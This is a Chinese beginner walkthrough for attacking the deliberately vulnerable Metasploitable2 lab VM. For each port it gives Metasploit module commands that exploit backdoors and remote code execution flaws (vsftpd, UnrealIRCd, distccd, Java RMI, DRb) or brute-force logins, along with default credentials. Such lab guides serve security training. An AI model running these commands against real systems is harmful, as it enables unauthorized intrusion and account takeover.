Metasploit2通关教程
Metasploitable2靶机介绍：
Metasploitable2 虚拟系统是一个特别制作的ubuntu操作系统，本身设计作为安全工具测试和演示常见漏洞攻击。这个版本的虚拟系统兼容VMware。当虚拟系统启动之后，使用用户名：msfadmin 和密码msfadmin登陆 适用于学习网络安全新手学习
Metasploitable2靶机下载：
https://pan.baidu.com/s/1SE1xoRtXMsrj_34FJQXT2Q
提取码：810rMetasploitable2靶机安装：
下载好了把安装包解压 然后试用VMware即可。
Metasploitable2靶机漏洞详解：
渗透机：kali IP ：192.168.28.128
靶机IP ：192.168.28.141
漏洞清单：
21端口
search vsftpd
use 0
set rhosts 192.168.28.141
run
22端口==直接暴力破解
Search ssh_login 搜索模块
Use auxiliary/scanner/ssh/ssh_login 使用模块
Set RHOST 192.168.28.141 设置目标地址
Set USER_FILE XXX 设置用户字典路径
Set PASS_FILE XXX 设置字典密码路径
Set THREADS 100 设置线程是100
Run 
23端口（telnet）：
search telnet_login
use 1
Set RHOST 192.168.28.141 设置目标地址
Set USER_FILE XXX 设置用户字典路径
Set PASS_FILE XXX 设置字典密码路径
Set THREADS 100 设置线程是100
Run 
80端口
拿到站点进行渗透老套路====信息搜集啥的
search php-cgi
use 0
set rhost 192.168.28.141
run
background====将shell后置后台
139端口，445端口
这两个都是smb类型的，是共享服务，首选我们需要知道它的共享目录有哪些，枚举之后可看到一共发现有5个如下
search smb_eumn
0 auxiliary/scanner/smb/smb_enumshares
use 0
set rhost 192.168.28.141
在使用一个脚本：use auxiliary/admin/smb/samba_symlink_traversal
1099端口
一个Java反序列化命令执行漏洞，可以看到已经getshell
原理：Java RMI Server 的RMI注册表和RMI激活服务的默认配置存在安全漏洞，可被利用导致
search java rmi
4 exploit/multi/misc/java_rmi_server
use 4
set rhosts 192.168.28.141
run
1524端口ingreslock
在少数服务器上存在一个古老的令人惊讶的“ingreslock”后门，监听1524端口。在过去的十年里，它经常被用于入侵一个暴露的服务器。它的利用是如此简单。
telnet 192.168.28.141 1524
3306数据库默认端口
既然运行远程连接，直接爆破，账号root密码为空然后登入
使用模块：use auxiliary/scanner/mysql/mysql_login
search mysql_login
use 0
set username root
3632 distccd服务
远程命令执行漏洞，直接exp
使用模块：use exploit/unix/misc/distcc_exec
search distccd
use 0
set rhost 192.168.28.141
后面几个利用教程就不详细展开了！！！
5432端口
postgresq爆破
5900端口vnc服务
vnc服务有两部分构成，一部分是服务，一个是客户端，我们进行爆破
使用模块爆破：use auxiliary/scanner/vnc/vnc_login
6667端口
6697 IRC服务， IRC服务这个版本存在后门漏洞，直接exp后getshell
使用模块：use exploit/unix/irc/unreal_ircd_3281_backdoor
8180端口
暴力破解账号密码：tomcat；tomcat
8787端口drb服务
有个远程代码执行漏洞
使用模块：use exploit/linux/misc/drb_remote_codeexec
